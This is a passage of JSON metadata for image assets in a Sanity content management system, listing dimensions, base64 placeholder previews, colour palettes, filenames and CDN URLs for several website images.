v6jvA9QQhKpVPUplr1JJKRWERGySiEiF3AzJSKXcqlU5Ya0bwyJ2imfpdolZYP1cwDXhc/QaUcCAwO4+O93XF7TZRgmTTaEgpRJKLiOkEhKSOXRqL4bELVQ9FDh+OHe529hrzDby7DwX9tjMgE6jdpDmYYoKWKiRHqMNkptFIlIsIkRCs1hkVUB+HOOD/k5r7fbs8M/V4Y/3zzvbjcNWZS4eBNQqJWkwuEkyaLePkeQQgvTrtDYIMouEhBC0yGQBHHs8Gf1+dPDv+vLvt+Pbzy9/nbZvPu2c7TQBHMNG3O5UOFxk2VwonPT5mKFBrwEnxWITCFJSiVermfd6zttPf3/5cHPy+uvW4vW7tZ9nbzp7GwCKICGavp/JVNKpUiyaDway9Fis3zlKmLw4PmI0jpvNM66hrfn8xXbzuFV8W45e7dYu9jeqWQYwYFiaja9XltZLxZVMuspM8VySz6Rr6VSZYaocV8+keS7RSMY2C1PN9GgzMdB9Uehs87mIDyAwJBEMLqZSVY5b4dh6LFSbjPAss8wwS+EQzzB1LlGOhLIuR8HbOztsqo0T561Ed2ehzA4DFoXMA+tpHA0Z0DSB3yOQOwaYwRAOg5OoLonDSSMaN8AMrs7a9EUPygfw02W6+ypbjA4CVjHoFIFeKUjLwCklmIfFOb2EUwgTcsG0SjCjEtxVgzlEWLFKnvk17Sj+KIgezDk/NiPTNAWQoMAOCnwy0A+BHCJZHdA/ccElXMpCglm94AEmKMJghQD3J8TdguIkq1kd02ymyKNlN+tF/gPfH52YkDFxjwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b3945","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1507","foreground":"#fff","population":1.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1507","foreground":"#fff","population":1.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb5af","foreground":"#000","population":0.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d471","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05864","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9d24","foreground":"#000","population":0.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"78256efcd877e208a599ba86a7201de3761689a1-752x405.png","path":"images/sczeoy4w/production/78256efcd877e208a599ba86a7201de3761689a1-752x405.png","sha1hash":"78256efcd877e208a599ba86a7201de3761689a1","size":177975,"uploadId":"Ztozu94f7MfIlWP7D1uDROKU3jfOSaac","url":"https://cdn.sanity.io/images/sczeoy4w/production/78256efcd877e208a599ba86a7201de3761689a1-752x405.png"} {"_createdAt":"2022-05-16T05:37:38Z","_id":"image-b1d4cc50a71c7ad12b81a5e68cee020c1de282bf-464x250-png","_rev":"yhIeqKxHMCgSTJlPqf8cqR","_type":"sanity.imageAsset","_updatedAt":"2022-05-16T05:37:38Z","assetId":"b1d4cc50a71c7ad12b81a5e68cee020c1de282bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MmP?REcu=uInsptOWEaeWFkW%LMyNat7jZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856,"height":250,"width":464},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADBElEQVQokV3O/28SdxzH8fuj9uv+hO2H/bw4ExPdMrOZmCXNsizM2WqzWdstkoxCV9sCdxZQQCu1SIWNTuDomFAsfK5cuS/CfT6fG7TcUWO999vQ7Sd/eOXx2ytPQe32v24rxiJRDEnpmFGlY4ptRRdbRBMPuz2RWrbIen3RVA9EUyWi0mquV0vFOKnmpbGSE+EgGQV1U0LtrxAY8pTQ3FeD1b/3WhW5bleqdSrv7rGy/OJs+y2VWX3GOkRhO4U8k0vPWXOvwZ/vFHl1O84GlZ8YlC9SkK/Y0PQT6DxeFboaXVc6pt1WdGwRDf9TP1PTLaSWje2XLdxIp/FhOoXlcgkLhQJup4KoZS7g2+wHiM8+RChfGuDLQEqg3BEpd6jFRmix0VuLjbzJKJ947PV6tteoNz0xEvX8fr+XTCZhc/MJpGNLsCt+6Y3SH3lYvIBQn7WBrG8IzHYlZruM2S4y2/X+92x9eoS6bmGtWsPlUBBv3pjB5eXfMZlMYfxeFLP+aezduQpexo+njcxwTP7ITgolyh1GuYOUO95EZjtocQdV8xj3Dxg25TJurd3BxfmbGAoFMRaLYSQcxvjMdSSXP4eT779FZyU4HGw/zAr0vULKXWC2A+orF7L1EwgXXUhnapALzYO08CPcXQpBPJGASCQC4ZlpqJ37FIYff4KjS18N3aVAVmDvFU7OLO5CVTmBX5+ewjfrb2B6tQ0rCwEI/+yDlVAAEon7IEkSrC3chtKVy97R+c/wdGpq4MXXsgIz2b2eTm3dYPiqP5ycYp+5WCYnuFh4g/OPBhhZy+CzX77DndB1fJyIYupBAh89iOHTeATb4d/wtRRAzMWPYC+fE3hH8xsttaYQ7VAzOKF8RCh3iWK6pEzGRG70iPpklfx796LCN26p+6Vct1LY6jZ2trrmP/mu08x3PfKnjt1SAww5KjCTnutp/Wu6TmfN/uAHyh0fs13fRMpHPk6577hd8o2LS9fGu8nZI/XF3EBtzDmHtblTozYH5u4tNOTbYMgzoFe+eAcAq9JHD9RiZgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3748","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813603","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96a08","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca9590","foreground":"#000","population":0.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66b4fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b86084","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96a08","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5_questions_to_ask_before_moving_your_database_blog__2_.png","path":"images/sczeoy4w/production/b1d4cc50a71c7ad12b81a5e68cee020c1de282bf-464x250.png","sha1hash":"b1d4cc50a71c7ad12b81a5e68cee020c1de282bf","size":46032,"uploadId":"hDcb22qMhNE6Z97hxsNlcQxL7RcKGR7F","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1d4cc50a71c7ad12b81a5e68cee020c1de282bf-464x250.png"} {"_createdAt":"2022-09-12T09:59:29Z","_id":"image-50b9113643fece62a9d3243e682264696522d2dd-1360x689-svg","_rev":"cEPH2uRN58AU2lp9QR1VlJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-12T09:59:29Z","assetId":"50b9113643fece62a9d3243e682264696522d2dd","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MESPLoxu.lR6Q.-Vozx]i_M|?[RkH@tQo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9738751814223512,"height":689,"width":1360},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAECAwUGCP/EAB4QAAICAgIDAAAAAAAAAAAAAAECABEDBAUTQVFx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAv/EABkRAQEBAAMAAAAAAAAAAAAAAAEAAhESMf/aAAwDAQACEQMRAD8A6c7kUlcS2bogeJQ6Gfl05PKm/hRNFWJV1azNIFULYAB+RygG7AMQk876iceyJkUqCAahJaHqEML/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#602f54","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a00a66","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbfd2","foreground":"#000","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbfd2","foreground":"#000","population":1.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ce4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac648f","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf2983","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"energy-architecture.svg","path":"images/sczeoy4w/production/50b9113643fece62a9d3243e682264696522d2dd-1360x689.svg","sha1hash":"50b9113643fece62a9d3243e682264696522d2dd","size":389696,"uploadId":"hPBJwF3iYTczeZOwiZCWxGyAIkUsjyLh","url":"https://cdn.sanity.io/images/sczeoy4w/production/50b9113643fece62a9d3243e682264696522d2dd-1360x689.svg"} {"_createdAt":"2022-06-15T20:01:33Z","_id":"image-ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405-png","_rev":"StyfnzRSyhTCbsBlPUozDK","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:58:52Z","assetId":"ea322b80b7dd5defb69c60b9c268ca912fa81bc8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4D04P.Q00-W00mvEJ.7~Xxu00?b%e8y%e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokRXOWVMSAQAA4H1LJUGSSw4JBFkO45BVlENyF4G4r11YYLl2EERmIZJLHZRGysJ0StPy1vKt/9j4A76ZD5BKNRrNola3rFJDSpVRARrkM2/kYo1KpJ2XQLAWya6R/ezhITkkkYJZZlZxVdLJGT5dyKbxgNlZndMZjMZSjrXAmjPgcoUcsN8CwZBy2a6F0VV83V9tRDp7yf1WZAtbQi1yi06oU3CVkkkZoFTNBwJYNlsKhRJeb9TnQ/0e1GHz2vSI1xzOeNeTa/mgKRo2RVK2VGY1h1lxt8FnBe1GyQIgk2sdDn+GKOJ43u0O21fcLiSIWDwuSyDuzuHuvM8SQSC3bW4VMbiSzkw5Viv4Kgk454GCz208ma+/b9dqLZLcjEbShVyFiBfrpc5Bd9is7JQz1c1CrZje2MhWu9Tu/tZBq7xbjFJhawqYm1sslSmq1qSoZqe7R1GtdrP3gdo5Pbp6uv/36+zm/Mfl3fXj1cXt5fnNw/Xf298Pn3tfEl7CBNoBtRrCk/lavVWvtzudvUZjm6o2N9e3+t2vg/63/v7h0fD7yfHZyfHpzdX9xdnlx96nWqXhtHmkHAUgFoNWqyOGplA0HUNTGJbG47kURqYwEo0S4VACw9KxaDIeJ8olCkMzSwtvdZoFuVjNpgsADlsEKrQmkw1B3vl8kUSCIAslIk16veEVmwOCzEajWa9fVCr1IGiQiFVs5vQEjccY4zLGOACHMz3Fk8hkahh2k2Spu717MPjU6/UJgoQgq1SqEYsVAv4MiyViMvhM+tQEjUsfZTPGuBM0HiAQKqb4MqFo1myGG432z/OL27v7xz9Pg8HQ6QyDSkj8Ws3lSl8xBfSXnPER1vgLFn3kGdNHOf8BnnXJbLvKgwgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b3b51","foreground":"#fff","population":5.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#642c64","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4b3b51","foreground":"#fff","population":5.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b2d2","foreground":"#000","population":0.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a2d6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#975e92","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14db1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405.png","path":"images/sczeoy4w/production/ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405.png","sha1hash":"ea322b80b7dd5defb69c60b9c268ca912fa81bc8","size":119042,"uploadId":"0xmyrl21fb7OZmdSSr19SxHkK8TdB4VT","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea322b80b7dd5defb69c60b9c268ca912fa81bc8-752x405.png"} {"_createdAt":"2022-06-30T19:58:15Z","_id":"image-5742853889adee518a337822a67bb2f412d377c3-854x528-png","_rev":"z4aw9LO53fWpwEzdXNEMoq","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:52Z","assetId":"5742853889adee518a337822a67bb2f412d377c3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VjPjcWoe?Dxt^zxtRkWCs.WC~QR+IYa#E5a$ocj@WEoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6174242424242424,"height":528,"width":854},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACH0lEQVQokY2TS08UQRSF55+JujCGlSsfK18L/QHGHyBEfDCJ4EJeW1gYjSQ8XMiEBWokZlwIJmoUCQwvZzJNV1dVV3VVf6ZqYBRMjIubU3XPrVPndt+qSClJ05QkSWi323EtDvYhhEgxxlCWJSV08B9REUJ0RCIKmm3BdlPQ2N2nsZuw2xJIbfC+DGpB8miUxwSVUiilKawlySzvvuY8fauYXFJMLUnmPmh+7BXYwsfItCdVnRDKo43HOY/3viOotSYPLXnHTuIYq+VcfiI5PyS5MCy5Nal4/dmics9G0/Hqo+X5suHZsmH6vaG+VpAqR+k9viuYh5Ycmy3H4Kzm7L2ME3cEPX2CKyOShRWLUI43Xyy3pxSXHksuDsvIjddyttuOsgwujwk2Wo7qnKb3fsbJPsGp/oxro5Laio0uAl4dlZELF4aLH85qNlr/LSiOCq5aro9JTvd3+N4HGdVZzWar+C2Y53n8hn+3nNHTl3Vb7jocCQ47fNdh8w+HYcaMsQcOC4Zeas5VM84MhJYENyYki6smCi5+MtyckDEf+FD3aP7AYfgp3lNxzmGtjWPzMzHM1xXVmYy7LwQD04LxBcnKeo5QNuJETcZ84AdnMubqKp4rioKgVQmzExYhoY2luW9Z38v5tiX5vq1otAyptBhrI261DGs7KvKhLtTr3Mbz0eHxpxOm37kCKTO0VrEo5A65gMbkhAcR6g5zhy/lF5/fYnMyBmYhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505870","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07327d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":17.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac2ca","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dbcfc","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c649c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":17.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5742853889adee518a337822a67bb2f412d377c3-854x528.png","path":"images/sczeoy4w/production/5742853889adee518a337822a67bb2f412d377c3-854x528.png","sha1hash":"5742853889adee518a337822a67bb2f412d377c3","size":15015,"uploadId":"RdrT5J28yYC7yhvJ3NwhdQj6hdfKXxUF","url":"https://cdn.sanity.io/images/sczeoy4w/production/5742853889adee518a337822a67bb2f412d377c3-854x528.png"} {"_createdAt":"2022-06-30T19:58:17Z","_id":"image-f1ad5bc7e173d22c747ad0162a7483794d640686-854x528-png","_rev":"z4aw9LO53fWpwEzdXNENIL","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:55Z","assetId":"f1ad5bc7e173d22c747ad0162a7483794d640686","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYQTJ{-m?DN2^}-noINHNIR+~QIqIrxsE5IbM}xr%Jt5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6174242424242424,"height":528,"width":854},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQokW2TS2sUQRSF559pUDDoxqUrEVy4Uhf+ABdGMzMQN0IIQhZKVjJgonEhKBE3cYIS0EQwD51BnRgGph9V1dX16iP3Vk8cRxsOfbqr7se5dbsbSinkeY40TZEkCfvxM4k87fHeI14V/ndVVcVqCCGQZRkXkpdS8n0MJq+1ZmAIFayvYNwfOV8h1DAGFkUBkjEGzjmWtSRbyzHM+4Bh7vH+0OL1jsWrTwYbuxa73x2EDqhCiEACkWKC8cKE6mfrAj72HebXNK4+VLiypHBtWWF5o8TPkec91ME/QEpCxZPyId67Bw43HhU4c1fi1B2B2ZZE65lGb1gDpxNS0WDksd1zeLcftf3N4Sjx0CZg68Dh5uMCZ+9JnJ4TON+WaD3X6DMwnmWDzomAwXtIHfh8bnc0JyGRf/PZIiv+Bs7UwPYJsE5IQ2Bg8MhUwJNNg0sPFGbmqEiy73QNEhmB16dabp60XCfkVq3lhKny6HRLXF6UmG0KFvmnWyVGIk741orChbbAuabAxfsSCy8ooePh8VCIHD8Xi1xZbH7RWHwp0VwVLPLdPY1MGuwPSqy8VWivCcyvCiysS6x/KHCcxE+OwjGQpsutW4dUWvwYlvg6UDgcKPb0zhgHWVgcjQx6vzSv9Y81hpmFLi3XE4eBk6Jfi9ovCsUiT+94rd5jreGfgbqarv8NzlRzG9wBirMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7496","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07327d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":13.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babcbe","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#83b5fa","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#587498","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":13.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f1ad5bc7e173d22c747ad0162a7483794d640686-854x528.png","path":"images/sczeoy4w/production/f1ad5bc7e173d22c747ad0162a7483794d640686-854x528.png","sha1hash":"f1ad5bc7e173d22c747ad0162a7483794d640686","size":14392,"uploadId":"W3me2anVv93CGOs0QErh8S70ZDAc2GZ5","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1ad5bc7e173d22c747ad0162a7483794d640686-854x528.png"} {"_createdAt":"2022-12-08T13:40:12Z","_id":"image-814e8bc18997754fa7e09e4d52d9f08d201777b9-512x512-png","_rev":"cwf6PSmkIH3MXtFHyrriqn","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:40:12Z","assetId":"814e8bc18997754fa7e09e4d52d9f08d201777b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSGRSTt7uPW=o}_NR*_3xaxut,oJ-pbGs.ofRjWAjYM{o2jZM{bHIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEtUlEQVQ4jR3S+08TBwDA8fsr9IchMqAPrr3es+31ypUe7fV1R19X+6D0QWkLSlGgKEKhIuB4CAtbJhOZr6DRoZkaDWjQ6aaLyZYtUTAykTIGVgUVzPYHLC75/vr57QssLK4sPF95+mz5jyeL9+fuTfRnDu4x1RlVEQNRrYODtCJpVrdX8+NHD9+7dXNhYXFpeW0pt77816vcah7Irb5eyq0vPM89uP/o9NjI4YhQw+BuUubVQh4SdBFiLwmGGbzRZRruaJ25cWP+2dKL5bWXuf/xxrvtt5tbuZX161eupqN+D6XgUJEDE3mUIgdcZAELzGUFFnmhSV7k1auOH+n85dHjlyuvVtferuc3gc0PH7c+/ru+9ury2e9qOcYK7XZAu4N4cYT43A99ZpfssIl2cJKdrGhnpbSgzmW5emFq6eVq/s37jXfbwJvNrfdb/ywvLZ8ZG46wpIAU1alKWmhxBwMeZsAWrThFlu4jS+qIYg+826/Dvj0+8Ofii7eb2xvvt4G/X3/Ib27PP332dV9XmMFiGknWio26yG989Mkgc8JXMSZoR13UiEAfdenSAjs+1D//ZH49v7GW3wAezud/XXxz9+ffew+lA1roAAONh9ip+qrzCf5szHombDoTMp0OmSbC5rEwfzQqDGXapy9Pz96em719Fxg8/9PoxYfD41eSwRoXVtppU13YJ5yrdw559J1moptFxlzayaCxjycbK7G9PNMYrm450NLW1t7SegjwJHu89T3h6IEaRhfASga8lRdT3gG3LqoUucBdIUVhnxk7F+F6OG2UlCUs5XGf4PX67U6PhXcA5aygZV1WozVBE+0Viola/kpr8Ktqts2ANtFQhwE5GTDcag5daPB/WW0bjLpT4YDTJRgsnM5gAnCKQTV6SqtLGMtP+NhrzYE73fHZztgPzcFLSfeluGM2HXrc13w/u/96OjqZqknV+BxOt5mzm21VAERQMkKDqCifmZ1oqL6dSf7YU/+ov/FBd/3NJu90vOpayjfTHr/eGp2qF0bDfMzN2XjezPGc3QGIFUoJTICYmi7XNXrsp5pCM12JOx2RS4mqE4J2hFces6p6rep+njrmpDucOp9FrzdUavV6upIBimVoqRwVwxiI4DRF7vfyF9Ph6ZQw5tZkjVAHIz9Ey9JkWWcF2munWxwVVoYiNGpUrURJJSCCELECKYMRCIXVajzmMk00BSZrbV9weJZV9FmJQY7sN6kGeXrEb26wM+VaJYRjEIEplDggQxAQRhQoTBCIjsIbvLazbdGJWlvWBGeM0Min1SoGHdSAk+7zsX4zjaswEEVAFJHhKADCiFgGSeVyGIUYWpVJ+mcGW7/fvydrQvZpxAeNcL+D7LWT3VWavRaK0eBlCkWpHBLJIbFCAcgxTSkIi+UKBMftFsN4V9Nvp3rnsrFRpyZBFAfQolpS0qCTJysQmwqWSmUFJeCnSsFCkQxw7YlodSylM5isVX7BPdLWMDfaPpetOx0ydBnkSVVJBC+Ok5K4HjWqlSVStEAE7xIhu0RwoRgBMkeGfYGY3en3B2M85/BajUNxz9XWwFTcNiZQvTa80wBnWPQgV26vZCCclsCUFNFKEUoCU/8BPonYHoUgbRQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#724e3e","foreground":"#fff","population":2.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c240b","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#724e3e","foreground":"#fff","population":2.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7b8ab","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deaa93","foreground":"#000","population":1.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae6952","foreground":"#fff","population":2.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c15947","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Matthias Pohl.png","path":"images/sczeoy4w/production/814e8bc18997754fa7e09e4d52d9f08d201777b9-512x512.png","sha1hash":"814e8bc18997754fa7e09e4d52d9f08d201777b9","size":432965,"uploadId":"dzsMYJfTYKl1vZyDw9YeJuXbdcW6AWzA","url":"https://cdn.sanity.io/images/sczeoy4w/production/814e8bc18997754fa7e09e4d52d9f08d201777b9-512x512.png"} {"_createdAt":"2022-12-08T13:41:04Z","_id":"image-5f489db05f5ace73ed6cf2a59a40c709f2356061-512x512-png","_rev":"cwf6PSmkIH3MXtFHyrrzfL","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:41:04Z","assetId":"5f489db05f5ace73ed6cf2a59a40c709f2356061","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWM=Uw9a^i^iWV}mxZ%1s+ozpciwNxR+j[OYROa~oLe.sls9WBniW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEz0lEQVQ4jQHEBDv7AP2uafqgVfWXSO6PQueLQcp0M5tXKWw+JVw6LINbR7aDY9ageuWsguqvgurAnubMt+3bzvPk2O/e0ejTwwD+tHL7pV33mk3vk0jWg0SfXTF5RCpvPy53RjWVXki3g2nQpIjgqoLprH3svJTowaDrzLTx3c3y4NPt2ssA/rt//K1r+KFa5ZJQsm5Cj1M4oFxDum5Uxnld0oVnz4xwu4dtwYhj4KBw87WB8a947rB+8cKc8tC279G6AP7Ekf28hvayesyOYJZeQqZhR856Wt6HZ9+La9iKbMqEZ6luVJ9oSNGSYvewdPqnYPefVfWkYvOsdO6ufAD+zaT9y6DvwJa2iGuIVkKgXkWpY0msZEuvZ02XWkSRWESTXUaRXUHFhVf0qGn8pVr6nU73mUzzlkzxlU0A/syh/cmc67qOrX9ggE46gUk1cz0tfUEvkE43fkMwfEQyj1Q+ml9ByIFP8Z9d/KNX+p1P9JZJ8pNH85NIAP29h/28g+2vebV7U4hQN4tMNYhHMpROOKpeRKRYQKVbQa9mSrZuStmGTfSaUvqdUPeYSfCRRe+QRvKSRwD7rWv7r2/0rXDOh1aqY0KvYUSmWD6dUzykWkKkWUCuX0XBb1HOfFLnjU32l0v3lkfwj0DoiT7qi0LtjUEA+KRf+Khl+a1t5ZZexnVLsGJEjUkzeTwrfUEvgEMwikgzrWFB1X5L7pBK9ZVI8pA/54U23n825IU86Yk8APSeV/OgW/amY+2ZWdF8SaRaOXk+KXc8KolHM4dHNINHMaJbN9F5PeuLQPKRQ+6LOt58LtV3L9+BOOeHOwDsk0zljkrejEzRgUW8bjibVjCERy2PTTWiVz+iWkGYWD2jYD3GdT3ggjjqhjTmgS7TcibMcCndfzfoiD0A3oVBuW43kFUweEYqcD4kcD0leUQtiEw0kFI6klU9klc9pGdLwYFc1odM34Aw23glxmccwGQe1ngv54c7AMR1PH1IKzofHSQSGCUSFzofHV41KGc6KVsyJl00J31JNKtzW8yfi9emh9mUX9aFRcJvL7diIsluKNN4MwCtaEFaNCcaDRYTChYkGSJDLi9eOS9dMiVJIxtPKB16SDWvgG3WtqvbvbLVrpvYqpDOmXnCg1m/eUmsbEIAqWVHUzAoJhkfQDA0aVJQelxVbEY7ZzgnaDUkcT0ogU46mndqxKqizbGpyqyj17uz2bqw0aubyKGOroyAAKhtUmRDOFdCQYltZ6SBd5BuYm9LQHFEMpBTOp1eQ4lXRH1fVp+EfbSUir+fldS4sdW5scuso9CyqtC2sACZdGOEZFmIaV+lgnakgHONal55Vkp/VkWnbVWydV2UaFiNbmWqioK0k4jAn5bVuLDOsKe/nZPHppzPsKcAgGZfjm5jkG5glnNlj2xekGxejmpdi2ZYp3tqq39vm3drsJCGyKifwaCWxqac1biwyquiuZaLvJqOvJqPAHNYU4FiV4VkVopoWYNhVI9rXpp1Z5h1aK+NgrWUiaqJfr+elM6upcCflMSjmdS2rsqqobeTiLSShq+NggBlS0ZuUUd5Wk2FY1WAX1KPbF+eemygfXG6m5HBopizkofBn5XKqZ65lou/npLTtazJqaC0kYWvjICtin9LO3DNTyyaQwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7e4e39","foreground":"#fff","population":7.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c4613","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"